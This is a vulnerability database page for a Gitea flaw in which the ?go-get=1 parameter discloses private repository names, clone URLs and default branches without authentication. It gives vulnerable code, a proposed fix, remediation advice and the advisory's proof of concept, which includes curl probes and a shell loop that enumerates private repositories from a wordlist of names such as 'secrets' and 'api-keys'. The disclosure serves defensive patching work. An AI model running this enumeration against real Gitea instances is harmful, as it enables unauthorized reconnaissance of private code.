Skip to main content

Gitea CVE-2026-58507

| EUVDEUVD-2026-58173 MEDIUM
Information Exposure (CWE-200)
2026-07-21 https://github.com/go-gitea/gitea GHSA-p4mj-98mv-xq26
5.3
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach Gitea HTTP endpoint
  2. Delivery
    Append ?go-get=1 to private repo URL
  3. Exploit
    Auth stack bypassed in httpBase()
  4. Execution
    EarlyResponseForGoGetMeta() returns HTTP 200
  5. Persist
    Extract clone URL and branch name from response
  6. Impact
    Enumerate additional private repos via wordlist iteration

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK

2 techniques across 2 tactics: Collection, Discovery

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions - remote unauthenticated exploitation against default configurations of any Gitea instance prior to v1.27.0 where private repositories exist. The ?go-get=1 parameter is processed by Gitea's HTTP router before any middleware enforces authentication, meaning the bypass is active regardless of Gitea's authentication configuration (LDAP, OAuth, built-in), whether the instance is publicly internet-facing or internal, and whether private repositories have any collaborators or not. The only limiting factor is network reachability to Gitea's HTTP port. The bypass does NOT expose repository file contents - only metadata (existence, clone URL, default branch name). Attempts to actually clone the repository over HTTP will still be blocked by Gitea's git authentication layer.

Impact

The CVSS 3.1 score of 5.3 Medium with vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N accurately reflects the attack surface: fully network-accessible, zero complexity, no authentication, no user interaction required. The Confidentiality impact is correctly assessed as Low because only metadata is disclosed (repository existence, clone URL, default branch name), not repository contents. There is no Integrity or Availability impact. No EPSS score was provided in the input data; exploitation probability cannot be independently stated. The vulnerability is not listed in CISA KEV at time of analysis, indicating no confirmed widespread active exploitation. However, real-world risk is higher than the CVSS score implies for organizations using Gitea for proprietary or sensitive code: a published PoC shell script allows mass enumeration with trivial effort, the attack leaves no authentication failure logs (no 401/403 generated), and the disclosed clone URL directly enables targeted credential-stuffing attacks against the Gitea HTTP git endpoint. The absence of KEV listing and the Low confidentiality rating should not be misread as low organizational priority if private repository confidentiality is a security objective.

Exploit ScenarioDerived

An unauthenticated external attacker with HTTP network access to a Gitea instance sends GET requests of the form GET /orgname/{reponame}?go-get=1 HTTP/1.1 iterating over a wordlist of common repository names (e.g., secrets, deploy, infra, api-keys, prod-config). Each HTTP 200 response confirms the repository exists, leaks the full clone URL, and discloses the default branch name; HTTP responses for non-existent repositories are structurally identical but functionally distinguishable via a subsequent git ls-remote probe. The published PoC shell script in the GHSA advisory automates this loop and extracts clone URLs via regex from the response body.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 21, 2026

Private repository existence disclosure in Gitea allows fully unauthenticated remote attackers to confirm the existence, enumerate names, harvest clone URLs, and identify default branch names of private repositories by appending the ?go-get=1 query parameter to any repository-scoped URL. All Gitea instances running versions prior to 1.27.0 are affected regardless of repository visibility configuration. No public exploit identified at time of analysis as a dedicated exploit tool, though a detailed proof-of-concept with working curl and shell enumeration scripts is published in the GHSA advisory, making exploitation trivially repeatable.

RemediationAI

Upgrade to Gitea v1.27.0 or later, available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. The upstream fix, described in GHSA-p4mj-98mv-xq26 (https://github.com/go-gitea/gitea/security/advisories/GHSA-p4mj-98mv-xq26), adds authentication and permission checks prior to calling EarlyResponseForGoGetMeta() for private repositories: public repositories continue to respond unconditionally to preserve Go toolchain compatibility, while private repositories require the requesting user to be signed in and have at least code-read permission, returning HTTP 404 otherwise. If immediate patching is not feasible, a compensating control is to place a reverse proxy (nginx, Caddy, HAProxy) in front of Gitea that strips or blocks requests containing the ?go-get=1 query parameter entirely - this will break Go module discovery for all repositories (including public ones) but eliminates the disclosure vector. Alternatively, network-level access controls restricting Gitea HTTP port access to trusted IP ranges will reduce unauthenticated external enumeration risk, with the trade-off that internal hosts would still be able to exploit the endpoint.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.26.4

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gitea (pkg:go/code.gitea.io/gitea) is a self-hosted Git service written in Go. The vulnerability stems from a deliberate but security-deficient workaround in routers/web/repo/githttp.go within the httpBase() function (lines 63-66). When the Go toolchain sends a ?go-get=1 probe to discover VCS module metadata, Gitea intercepts this before any authentication or authorization evaluation and delegates to EarlyResponseForGoGetMeta() in services/context/repo.go (lines 374-396), which unconditionally returns HTTP 200 with <meta name="go-import"> and <meta name="go-source"> HTML tags. The root cause was a workaround for the Go toolchain's behavior of not consulting .netrc credentials before deciding a module is unreachable. CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) applies directly: the function's own docstring explicitly documents that it responds identically regardless of whether the user has access or the repository even exists, making the information leak a documented design choice that was not gated on authentication.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 5.3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
vuln.today AI 5.3 MEDIUM

Network-accessible with no authentication required; only metadata disclosed (not repo contents), justifying C:L; no integrity or availability impact applies.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

DescriptionCVE.org

FieldValue
Affected Filerouters/web/repo/githttp.go, services/context/repo.go
Affected FunctionshttpBase(), EarlyResponseForGoGetMeta()
Affected Linesgithttp.go:63-66, services/context/repo.go:374-396
PrerequisiteNone - fully unauthenticated

---

Description

Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags - regardless of whether:

  • The repository is private
  • The requesting user is authenticated
  • The requesting user has any permission on the repository

The entry point is routers/web/repo/githttp.go:63-66:

go
func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")

    if ctx.FormString("go-get") == "1" {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil   // ← returns before any auth or permission check
    }
    ...

The EarlyResponseForGoGetMeta function (services/context/repo.go:379-396) is called unconditionally, and the function's own docstring documents the intended behavior:

go
// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
    username := ctx.PathParam("username")
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
    ...
    ctx.PlainText(http.StatusOK, htmlMeta)   // ← HTTP 200, no auth check
}

The function also appears at services/context/repo.go:444, 516, 571 - all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.

The metadata returned includes:

  1. The full repository name and owner - confirming the repository exists
  2. The HTTP clone URL - a fully-formed URL pointing to the repository
  3. The source browsing URL templates - which may reveal the default branch name

This allows an unauthenticated attacker to:

  1. Confirm existence of any private repository by name
  2. Enumerate private repository names through brute-force without triggering authentication failures
  3. Harvest clone URLs and default branch names of private repositories

---

Proof of Concept

Step 1 - Identify a private repository

Any private repository works. For this demonstration, admin/classified-internal is set to private:

---

Step 2 - Confirm access is denied without authentication

Standard requests to a private repository correctly return 404 for unauthenticated users.

---

Step 3 - Bypass using go-get parameter

bash
curl -s "http://localhost:3000/admin/classified-internal?go-get=1"

Actual response (HTTP 200):

html
<!doctype html>
<html>
    <head>
        <meta name="go-import"
              content="localhost:3000/admin/classified-internal
                       git
                       http://localhost:3000/admin/classified-internal.git">
        <meta name="go-source"
              content="localhost:3000/admin/classified-internal
                       _
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
    </head>
    <body>
        go get --insecure localhost:3000/admin/classified-internal
    </body>
</html>

The response:

  • Returns HTTP 200 (not 404) - confirming the repository exists
  • Reveals the full clone URL: http://localhost:3000/admin/classified-internal.git
  • Reveals the default branch name: main
  • Reveals the owner username: admin

This same response is returned whether or not the repository exists - the comment in EarlyResponseForGoGetMeta states it responds identically for both - however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.

---

Step 4 - Enumerate private repositories at scale

bash
# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
  response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
  if echo "$response" | grep -q "go-import"; then
    clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
    echo "[FOUND] admin/${name} → clone: http://${clone_url}"
  fi
done

---

Step 5 - Verify the same applies to the main web router

The vulnerability also exists via the standard web router for repository pages:

bash
# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1"   | grep "go-import"

All return HTTP 200 with the metadata.

---

Impact Analysis

Direct impact:

What is leakedSensitivity
Repository existsConfirms presence of private infrastructure code, internal tooling, unreleased products
Owner / organization nameReveals organizational structure
Clone URLProvides a direct endpoint for credential-stuffing attacks against git HTTP endpoint
Default branch nameReduces brute-force surface for subsequent attacks

---

Root Cause Analysis

The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.

The workaround - returning metadata unconditionally - was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.

---

Recommended Fix

The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.

go
// routers/web/repo/githttp.go:63-66 - proposed fix

if ctx.FormString("go-get") == "1" {
    // For public repos, always respond to support the go toolchain
    if repo != nil && !repo.IsPrivate {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil
    }
    // For private repos, only respond if the user is authenticated
    // and has at least read access
    if ctx.IsSigned {
        if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
            if perm.CanRead(unit.TypeCode) {
                context.EarlyResponseForGoGetMeta(ctx)
                return nil
            }
        }
    }
    // Unauthenticated request for a private repo - return 404 consistent
    // with normal behavior; the go toolchain will prompt for credentials
    ctx.PlainText(http.StatusNotFound, "Repository not found")
    return nil
}

This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.

---

Threat Intelligence Overview

EPSS Score
0.1%
Top 95% exploitable
Prevalence
Medium
popular self-hosted git platform, not enterprise-ubiquitous
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy